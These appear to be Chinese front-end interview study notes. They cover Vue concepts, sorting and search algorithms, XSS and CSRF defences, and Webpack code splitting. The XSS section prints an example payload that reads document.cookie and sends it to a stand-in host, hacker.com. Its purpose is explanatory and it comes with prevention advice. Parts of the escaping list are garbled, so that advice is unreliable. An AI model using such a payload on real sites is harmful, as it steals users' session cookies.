- (必考)Vue 有哪些生命周期钩子函数?
- (必考)Vue 如何实现组件通信?
- 父子通信(使用 Prop 传递数据、使用 v-on 绑定自定义事件)
- 爷孙通信(通过两对父子通信,爷爸之间父子通信,爸儿之间父子通信)
- 兄弟通信(new Vue() 作为 eventBus)1
- Vuex 的作用是什么?
- VueRouter 路由是什么?
- 看文档、博客
- Vue 的双向绑定是如何实现的?有什么缺点?
- 看文档,深入响应式原理6
- Computed 计算属性的用法?跟 Methods 的区别。 https://zhuanlan.zhihu.com/p/337785944
算法
- 排序算法(背诵冒泡排序、选择排序、计数排序、快速排序、插入排序、归并排序)
- 二分查找法
- 翻转二叉树
把上面三个背一下,算法题必过。
安全押题
什么是 XSS 攻击?如何预防?
举例
1
2div.innerHTML = userComment // userComment 内容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
// 恶意就被执行了,这就是 XSS预防
- 不要使用 innerHTML,改成 innerText,script 就会被当成文本,不执行
- 如果你一样要用 innerHTML,字符过滤
- 把 < 替换成
< - 把 > 替换成
> - 把 & 替换成
& - 把 ’ 替换成
' - 把 ’ 替换成
" - 代码 div.innerHTML = userComment.replace(/>/g, ‘
<’).replace…
- 把 < 替换成
- 使用 CSP Content Security Policy
什么是 CSRF 攻击?如何预防?
- 过程
- 用户在 qq.com 登录
- 用户切换到 hacker.com(恶意网站)
- hacker.com 发送一个 qq.com/add_friend 请求,让当前用户添加 hacker 为好友。
- 用户在不知不觉中添加 hacker 为好友。
- 用户没有想发这个请求,但是 hacker 伪造了用户发请求的假象。
- 避免
- 检查 referer,qq.com 可以拒绝来自 hacker.com 的请求
- csrf_token 来解决
- 过程
Webpack
- 转译出的文件过大怎么办?
- 使用 code split
- 写法 import(‘xxx’).then(xxx=>{console.log(xxx)})
- xxx 模块就是按需加载的
- 转译速度慢什么办?
- 方方不会。
- 写过 webpack loader 吗?